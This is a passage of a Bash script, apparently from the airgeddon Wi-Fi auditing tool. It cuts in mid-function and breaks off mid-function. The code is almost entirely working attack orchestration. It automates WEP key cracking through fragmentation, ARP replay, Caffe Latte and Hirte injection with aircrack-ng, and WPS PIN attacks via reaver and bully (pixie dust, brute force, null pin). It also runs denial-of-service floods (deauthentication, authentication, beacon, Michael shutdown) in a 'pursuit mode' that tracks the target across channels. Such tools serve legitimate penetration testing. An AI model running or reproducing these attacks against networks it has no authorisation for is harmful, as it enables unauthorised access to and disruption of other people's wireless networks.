							manage_output "+j -bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (1/3)\"" "yes | aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}fragmentation_output.txt\"" "Fragmentation Attack (1/3)"

							if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
								get_tmux_process_id "aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface}"
								wep_fragmentation_phase1_pid="\${global_process_pid}"
								global_process_pid=""
							else
								wep_fragmentation_phase1_pid="\$!"
							fi

							wep_script_processes+=("\${wep_fragmentation_phase1_pid}")
						fi
					fi
				;;
				2)
					kill_tmux_window_by_name "Fragmentation Attack (1/3)"
					manage_output "+j -bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (2/3)\"" "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" "Fragmentation Attack (2/3)"

					if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
						wep_fragmentation_phase2_pid="\$!"
					fi

					wep_fragmentation_phase=3
					wep_script_processes+=("\${wep_fragmentation_phase2_pid}")
				;;
				3)
					wep_fragmentation_phase2_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_fragmentation_phase2_pid}$" 2> /dev/null)
					if [[ -z "\${wep_fragmentation_phase2_pid_alive}" ]] && [[ -f "${tmpdir}${wepdir}fragmentation.cap" ]]; then
						kill_tmux_window_by_name "Fragmentation Attack (2/3)"
						manage_output "-hold -bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (3/3)\"" "yes | aireplay-ng -2 -F -h ${current_mac} -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" "Fragmentation Attack (3/3)"

						if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
							get_tmux_process_id "aireplay-ng -2 -F -h ${current_mac} -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}"
							wep_script_processes+=("\${global_process_pid}")
							global_process_pid=""
						else
							wep_script_processes+=("\$!")
						fi

						wep_fragmentation_phase=4
					fi
				;;
			esac
			write_wep_processes
		}

		#Write on a file the id of the WEP attack processes
		function write_wep_processes() {

			if [ ! -f "${tmpdir}${wepdir}${wep_processes_file}" ]; then
				touch "${tmpdir}${wepdir}${wep_processes_file}" > /dev/null 2>&1
			fi
			path_to_process_file="${tmpdir}${wepdir}${wep_processes_file}"

			for item in "\${wep_script_processes[@]}"; do
				if ! grep -E "^\${item}$" "\${path_to_process_file}" > /dev/null 2>&1; then
					echo "\${item}" >> "${tmpdir}${wepdir}${wep_processes_file}"
				fi
			done
		}

		wep_script_processes=()

		manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g5_topright_window} -T \"Capturing WEP Data\"" "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" "Capturing WEP Data" "active"
		if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
			get_tmux_process_id "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}"
			wep_script_capture_pid="\${global_process_pid}"
			global_process_pid=""
		else
			wep_script_capture_pid="\$!"
		fi

		wep_script_processes+=("\${wep_script_capture_pid}")
		write_wep_processes

		wep_to_be_launched_only_once=0
		wep_fakeauth_pid=""
		wep_aircrack_launched=0
		current_ivs=0
		wep_chopchop_launched=0
		wep_chopchop_phase=1
		wep_fragmentation_launched=0
		wep_fragmentation_phase=1

		while true; do
			wep_capture_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_script_capture_pid}$" 2> /dev/null)
			wep_fakeauth_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_fakeauth_pid}$" 2> /dev/null)

			if [[ -n "\${wep_capture_pid_alive}" ]] && [[ -z "\${wep_fakeauth_pid_alive}" ]]; then
				manage_output "+j -bg \"#000000\" -fg \"#00FF00\" -geometry ${g5_left1} -T \"Fake Auth\"" "aireplay-ng -1 3 -o 1 -q 10 -a ${bssid} -h ${current_mac} ${interface}" "Fake Auth"
				if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
					get_tmux_process_id "aireplay-ng -1 3 -o 1 -q 10 -a ${bssid} -h ${current_mac} ${interface}"
					wep_fakeauth_pid="\${global_process_pid}"
					global_process_pid=""
				else
					wep_fakeauth_pid="\$!"
				fi

				wep_script_processes+=("\${wep_fakeauth_pid}")
				write_wep_processes
				sleep 2
			fi

			if [ "\${wep_to_be_launched_only_once}" -eq 0 ]; then
				wep_to_be_launched_only_once=1

				manage_output "+j -bg \"#000000\" -fg \"#FFFF00\" -geometry ${g5_left2} -T \"Arp Broadcast Injection\"" "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" "Arp Broadcast Injection"
				if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
					get_tmux_process_id "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}"
					wep_script_processes+=("\${global_process_pid}")
					global_process_pid=""
				else
					wep_script_processes+=(\$!)
				fi

				manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g5_left3} -T \"Arp Request Replay\"" "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" "Arp Request Replay"
				if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
					get_tmux_process_id "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}"
					wep_script_processes+=("\${global_process_pid}")
					global_process_pid=""
				else
					wep_script_processes+=(\$!)
				fi

				manage_output "+j -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${g5_left4} -T \"Caffe Latte Attack\"" "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Caffe Latte Attack"
				if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
					get_tmux_process_id "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}"
					wep_script_processes+=("\${global_process_pid}")
					global_process_pid=""
				else
					wep_script_processes+=(\$!)
				fi

				manage_output "+j -bg \"#000000\" -fg \"#D3D3D3\" -geometry ${g5_left5} -T \"Hirte Attack\"" "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Hirte Attack"
				if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
					get_tmux_process_id "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}"
					wep_script_processes+=("\${global_process_pid}")
					global_process_pid=""
				else
					wep_script_processes+=("\$!")
				fi

				write_wep_processes
			fi

			if [ "\${wep_fragmentation_phase}" -lt 4 ]; then
				wep_fragmentation_attack
			fi

			if [ "\${wep_chopchop_phase}" -lt 4 ]; then
				wep_chopchop_attack
			fi

			ivs_cmd="grep WEP ${tmpdir}${wep_data}*.csv --exclude=*kismet* | head -n 1 "
			ivs_cmd+="| awk '{print \\\$11}' FS=',' | sed 's/ //g'"

			current_ivs=\$(eval "\${ivs_cmd}")
			if [[ "\${current_ivs}" -ge 5000 ]] && [[ "\${wep_aircrack_launched}" -eq 0 ]]; then
				wep_aircrack_launched=1

				manage_output "+j -bg \"#000000\" -fg \"#FFFF00\" -geometry ${g5_bottomright_window} -T \"Decrypting WEP Key\"" "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" "Decrypting WEP Key" "active"
				if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
					get_tmux_process_id "aircrack-ng \"${tmpdir}${wep_data}\".*cap -l \"${tmpdir}${wepdir}wepkey.txt\""
					wep_aircrack_pid="\${global_process_pid}"
					global_process_pid=""
				else
					wep_aircrack_pid="\$!"
				fi

				wep_script_processes+=("\${wep_aircrack_pid}")
				write_wep_processes
			fi

			wep_aircrack_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_aircrack_pid}$" 2> /dev/null)
			if [[ -z "\${wep_aircrack_pid_alive}" ]] && [[ "\${wep_aircrack_launched}" -eq 1 ]]; then
				break
			elif [[ -z "\${wep_capture_pid_alive}" ]]; then
				break
			fi
		done

		#shellcheck disable=SC2164
		popd "${tmpdir}${wepdir}" > /dev/null 2>&1
	EOF
}

#Execute wps custom pin bully attack
function exec_wps_custom_pin_bully_attack() {

	debug_print

	echo
	language_strings "${language}" 32 "green"

	set_wps_attack_script "bully" "custompin"

	echo
	language_strings "${language}" 33 "yellow"
	language_strings "${language}" 4 "read"
	recalculate_windows_sizes
	manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS custom pin bully attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin bully attack" "active"
	wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin bully attack"
}

#Execute wps custom pin reaver attack
function exec_wps_custom_pin_reaver_attack() {

	debug_print

	echo
	language_strings "${language}" 32 "green"

	set_wps_attack_script "reaver" "custompin"

	echo
	language_strings "${language}" 33 "yellow"
	language_strings "${language}" 4 "read"
	recalculate_windows_sizes
	manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS custom pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin reaver attack" "active"
	wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin reaver attack"
}

#Execute bully pixie dust attack
function exec_bully_pixiewps_attack() {

	debug_print

	echo
	language_strings "${language}" 32 "green"

	set_wps_attack_script "bully" "pixiedust"

	echo
	language_strings "${language}" 33 "yellow"
	language_strings "${language}" 4 "read"
	recalculate_windows_sizes
	manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS bully pixie dust attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully pixie dust attack" "active"
	wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully pixie dust attack"
}

#Execute reaver pixie dust attack
function exec_reaver_pixiewps_attack() {

	debug_print

	echo
	language_strings "${language}" 32 "green"

	set_wps_attack_script "reaver" "pixiedust"

	echo
	language_strings "${language}" 33 "yellow"
	language_strings "${language}" 4 "read"
	recalculate_windows_sizes
	manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS reaver pixie dust attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver pixie dust attack" "active"
	wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver pixie dust attack"
}

#Execute wps bruteforce pin bully attack
function exec_wps_bruteforce_pin_bully_attack() {

	debug_print

	echo
	language_strings "${language}" 32 "green"

	set_wps_attack_script "bully" "bruteforce"

	echo
	language_strings "${language}" 33 "yellow"
	language_strings "${language}" 4 "read"
	recalculate_windows_sizes
	manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS bruteforce pin bully attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin bully attack" "active"
	wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin bully attack"
}

#Execute wps bruteforce pin reaver attack
function exec_wps_bruteforce_pin_reaver_attack() {

	debug_print

	echo
	language_strings "${language}" 32 "green"

	set_wps_attack_script "reaver" "bruteforce"

	echo
	language_strings "${language}" 33 "yellow"
	language_strings "${language}" 4 "read"
	recalculate_windows_sizes
	manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS bruteforce pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin reaver attack" "active"
	wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin reaver attack"
}

#Execute wps pin database bully attack
function exec_wps_pin_database_bully_attack() {

	debug_print

	wps_pin_database_prerequisites

	set_wps_attack_script "bully" "pindb"

	recalculate_windows_sizes
	manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS bully known pins database based attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully known pins database based attack" "active"
	wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully known pins database based attack"
}

#Execute wps pin database reaver attack
function exec_wps_pin_database_reaver_attack() {

	debug_print

	wps_pin_database_prerequisites

	set_wps_attack_script "reaver" "pindb"

	recalculate_windows_sizes
	manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS reaver known pins database based attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver known pins database based attack" "active"
	wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver known pins database based attack"
}

#Execute wps null pin reaver attack
function exec_reaver_nullpin_attack() {

	debug_print

	echo
	language_strings "${language}" 32 "green"

	set_wps_attack_script "reaver" "nullpin"

	echo
	language_strings "${language}" 33 "yellow"
	language_strings "${language}" 4 "read"
	recalculate_windows_sizes
	manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS null pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS null pin reaver attack" "active"
	wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS null pin reaver attack"
}

#Execute DoS pursuit mode attack
function launch_dos_pursuit_mode_attack() {

	debug_print

	rm -rf "${tmpdir}dos_pm"* > /dev/null 2>&1
	rm -rf "${tmpdir}nws"* > /dev/null 2>&1
	rm -rf "${tmpdir}clts.csv" > /dev/null 2>&1
	rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1

	if [[ -n "${2}" ]] && [[ "${2}" = "relaunch" ]]; then
		if [[ -z "${enterprise_mode}" ]] && [[ -z "${et_mode}" ]]; then
			echo
			language_strings "${language}" 707 "yellow"
		else
			echo
			language_strings "${language}" 507 "yellow"
		fi
	fi

	recalculate_windows_sizes
	case "${1}" in
		"${mdk_command} amok attack")
			dos_delay=1
			interface_pursuit_mode_scan="${secondary_wifi_interface}"
			interface_pursuit_mode_deauth="${interface}"
			iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1
			manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} d -b ${tmpdir}bl.txt -c ${channel}" "${1} (DoS Pursuit mode)"
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} d -b ${tmpdir}bl.txt -c ${channel}"
				dos_pursuit_mode_attack_pid="${global_process_pid}"
				global_process_pid=""
			fi
		;;
		"aireplay deauth attack")
			dos_delay=3
			interface_pursuit_mode_scan="${secondary_wifi_interface}"
			interface_pursuit_mode_deauth="${interface}"
			iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1
			manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" "${1} (DoS Pursuit mode)"
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}"
				dos_pursuit_mode_attack_pid="${global_process_pid}"
				global_process_pid=""
			fi
		;;
		"auth dos attack")
			dos_delay=1
			interface_pursuit_mode_scan="${secondary_wifi_interface}"
			interface_pursuit_mode_deauth="${interface}"
			iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1
			manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} a -a ${bssid} -m" "${1} (DoS Pursuit mode)"
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} a -a ${bssid} -m"
				dos_pursuit_mode_attack_pid="${global_process_pid}"
				global_process_pid=""
			fi
		;;
		"beacon flood attack")
			dos_delay=1
			interface_pursuit_mode_scan="${secondary_wifi_interface}"
			interface_pursuit_mode_deauth="${interface}"
			iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1
			manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} b -n '${essid}' -c ${channel} -s 1000 -h" "${1} (DoS Pursuit mode)"
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} b -n ${essid} -c ${channel} -s 1000 -h"
				dos_pursuit_mode_attack_pid="${global_process_pid}"
				global_process_pid=""
			fi
		;;
		"wids / wips / wds confusion attack")
			dos_delay=10
			interface_pursuit_mode_scan="${secondary_wifi_interface}"
			interface_pursuit_mode_deauth="${interface}"
			iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1
			manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} w -e '${essid}' -c ${channel}" "${1} (DoS Pursuit mode)"
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}"
				dos_pursuit_mode_attack_pid="${global_process_pid}"
				global_process_pid=""
			fi
		;;
		"michael shutdown attack")
			dos_delay=1
			interface_pursuit_mode_scan="${secondary_wifi_interface}"
			interface_pursuit_mode_deauth="${interface}"
			iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1
			manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} m -t ${bssid} -w 1 -n 1024 -s 1024" "${1} (DoS Pursuit mode)"
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} m -t ${bssid} -w 1 -n 1024 -s 1024"
				dos_pursuit_mode_attack_pid="${global_process_pid}"
				global_process_pid=""
			fi
		;;
		"${mdk_command}")
			dos_delay=1
			interface_pursuit_mode_scan="${secondary_wifi_interface}"
			interface_pursuit_mode_deauth="${iface_monitor_et_deauth}"
			iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1
			manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" "Deauth (DoS Pursuit mode)"
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}"
				dos_pursuit_mode_attack_pid="${global_process_pid}"
				global_process_pid=""
			fi
		;;
		"Aireplay")
			interface_pursuit_mode_scan="${secondary_wifi_interface}"
			interface_pursuit_mode_deauth="${iface_monitor_et_deauth}"
			iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1
			dos_delay=3
			manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" "Deauth (DoS Pursuit mode)"
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}"
				dos_pursuit_mode_attack_pid="${global_process_pid}"
				global_process_pid=""
			fi
		;;
		"Auth DoS")
			dos_delay=10
			interface_pursuit_mode_scan="${secondary_wifi_interface}"
			interface_pursuit_mode_deauth="${iface_monitor_et_deauth}"
			iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1
			manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} a -a ${bssid} -m" "Deauth (DoS Pursuit mode)"
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} a -a ${bssid} -m"
				dos_pursuit_mode_attack_pid="${global_process_pid}"
				global_process_pid=""
			fi
		;;
	esac

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		dos_pursuit_mode_attack_pid=$!
	fi
	dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}")

	if [ "${channel}" -gt 14 ]; then
		if [ "${interface_pursuit_mode_scan}" = "${interface}" ]; then
			if ! check_target_band_supported_by_interface "main_wifi_interface"; then
				echo
				kill_dos_pursuit_mode_processes
				return 1
			else
				airodump_band_modifier="abg"
			fi
		else
			if ! check_target_band_supported_by_interface "secondary_wifi_interface"; then
				echo
				kill_dos_pursuit_mode_processes
				return 1
			else
				airodump_band_modifier="abg"
			fi
		fi
	else
		if [ "${interface_pursuit_mode_scan}" = "${interface}" ]; then
			if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then
				airodump_band_modifier="bg"
			else
				airodump_band_modifier="abg"
			fi
		else
			if [ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then
				airodump_band_modifier="bg"
			else
				airodump_band_modifier="abg"
			fi
		fi
	fi

	sleep "${dos_delay}"
	airodump-ng -w "${tmpdir}dos_pm" "${interface_pursuit_mode_scan}" --band "${airodump_band_modifier}" > /dev/null 2>&1 &
	dos_pursuit_mode_scan_pid=$!
	dos_pursuit_mode_pids+=("${dos_pursuit_mode_scan_pid}")

	if [[ -n "${2}" ]] && [[ "${2}" = "relaunch" ]]; then
		if [[ -n "${enterprise_mode}" ]] || [[ -n "${et_mode}" ]]; then
			launch_fake_ap
		fi
	fi

	local processes_file
	processes_file="${tmpdir}${et_processesfile}"
	for item in "${dos_pursuit_mode_pids[@]}"; do
		echo "${item}" >> "${processes_file}"
	done
}

#Parse and control pids for DoS pursuit mode attack
pid_control_pursuit_mode() {

	debug_print

	local dos_pursuit_mode_ignored_channel=""

	rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1
	echo "${channel}" > "${tmpdir}${channelfile}"

	while true; do
		sleep 5
		if grep "${bssid}" "${tmpdir}dos_pm-01.csv" > /dev/null 2>&1; then
			readarray -t DOS_PM_LINES_TO_PARSE < <(cat < "${tmpdir}dos_pm-01.csv" 2> /dev/null)

			for item in "${DOS_PM_LINES_TO_PARSE[@]}"; do
				if [[ "${item}" =~ ${bssid} ]]; then
					dos_pm_current_channel=$(echo "${item}" | awk -F "," '{print $4}' | sed 's/^[ ^t]*//')

					if [[ "${dos_pm_current_channel}" =~ ^([0-9]+)$ ]] && [[ "${BASH_REMATCH[1]}" -ne 0 ]] && [[ "${BASH_REMATCH[1]}" -ne "${channel}" ]]; then
						if [[ "${dos_pm_current_channel}" -gt 14 ]] && [[ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then
							if [ "${dos_pursuit_mode_ignored_channel}" != "${dos_pm_current_channel}" ]; then
								echo
								language_strings "${language}" 813 "yellow"
								dos_pursuit_mode_ignored_channel="${dos_pm_current_channel}"
							fi
							continue
						fi

						dos_pursuit_mode_ignored_channel=""
						channel="${dos_pm_current_channel}"
						rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1
						echo "${channel}" > "${tmpdir}${channelfile}"

						if [ -n "${enterprise_mode}" ]; then
							sed -ri "s:(channel)=([0-9]{1,3}):\1=${channel}:" "${tmpdir}${hostapd_wpe_file}" 2> /dev/null
						elif [ -n "${et_mode}" ]; then
							sed -ri "s:(channel)=([0-9]{1,3}):\1=${channel}:" "${tmpdir}${hostapd_file}" 2> /dev/null
						fi

						kill_dos_pursuit_mode_processes
						launch_dos_pursuit_mode_attack "${1}" "relaunch"
					fi
				fi
			done
		fi

		dos_attack_alive=$(ps uax | awk '{print $2}' | grep -E "^${dos_pursuit_mode_attack_pid}$" 2> /dev/null)
		if [ -z "${dos_attack_alive}" ]; then
			break
		fi
	done

	kill_dos_pursuit_mode_processes
}

#Execute mdk deauth DoS attack
function exec_mdkdeauth() {

	debug_print

	echo
	language_strings "${language}" 89 "title"
	language_strings "${language}" 32 "green"

	rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1
	echo "${bssid}" > "${tmpdir}bl.txt"

	echo
	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		language_strings "${language}" 506 "yellow"
		language_strings "${language}" 4 "read"

		if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then
			dos_pursuit_mode_pids=()
		fi
		launch_dos_pursuit_mode_attack "${mdk_command} amok attack" "first_time"
		pid_control_pursuit_mode "${mdk_command} amok attack"
	else
		iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
		language_strings "${language}" 33 "yellow"
		language_strings "${language}" 4 "read"
		recalculate_windows_sizes
		manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${mdk_command} amok attack\"" "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "${mdk_command} amok attack" "active"
		wait_for_process "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "${mdk_command} amok attack"
	fi
}

#Execute aireplay DoS attack
function exec_aireplaydeauth() {

	debug_print

	echo
	language_strings "${language}" 90 "title"
	language_strings "${language}" 32 "green"

	echo
	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		language_strings "${language}" 506 "yellow"
		language_strings "${language}" 4 "read"

		if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then
			dos_pursuit_mode_pids=()
		fi
		launch_dos_pursuit_mode_attack "aireplay deauth attack" "first_time"
		pid_control_pursuit_mode "aireplay deauth attack"
	else
		iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
		language_strings "${language}" 33 "yellow"
		language_strings "${language}" 4 "read"
		recalculate_windows_sizes
		manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" "active"
		wait_for_process "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack"
	fi
}

#Execute WDS confusion DoS attack
function exec_wdsconfusion() {

	debug_print

	echo
	language_strings "${language}" 91 "title"
	language_strings "${language}" 32 "green"

	echo
	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		language_strings "${language}" 506 "yellow"
		language_strings "${language}" 4 "read"

		if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then
			dos_pursuit_mode_pids=()
		fi
		launch_dos_pursuit_mode_attack "wids / wips / wds confusion attack" "first_time"
		pid_control_pursuit_mode "wids / wips / wds confusion attack"
	else
		iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
		language_strings "${language}" 33 "yellow"
		language_strings "${language}" 4 "read"
		recalculate_windows_sizes
		manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"wids / wips / wds confusion attack\"" "${mdk_command} ${interface} w -e '${essid}' -c ${channel}" "wids / wips / wds confusion attack" "active"
		wait_for_process "${mdk_command} ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack"
	fi
}

#Execute Beacon flood DoS attack
function exec_beaconflood() {

	debug_print

	echo
	language_strings "${language}" 92 "title"
	language_strings "${language}" 32 "green"

	echo
	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		language_strings "${language}" 506 "yellow"
		language_strings "${language}" 4 "read"

		if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then
			dos_pursuit_mode_pids=()
		fi
		launch_dos_pursuit_mode_attack "beacon flood attack" "first_time"
		pid_control_pursuit_mode "beacon flood attack"
	else
		iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
		language_strings "${language}" 33 "yellow"
		language_strings "${language}" 4 "read"
		recalculate_windows_sizes
		manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"beacon flood attack\"" "${mdk_command} ${interface} b -n '${essid}' -c ${channel} -s 1000 -h" "beacon flood attack" "active"
		wait_for_process "${mdk_command} ${interface} b -n ${essid} -c ${channel} -s 1000 -h" "beacon flood attack"
	fi
}

#Execute Auth DoS attack
function exec_authdos() {

	debug_print

	echo
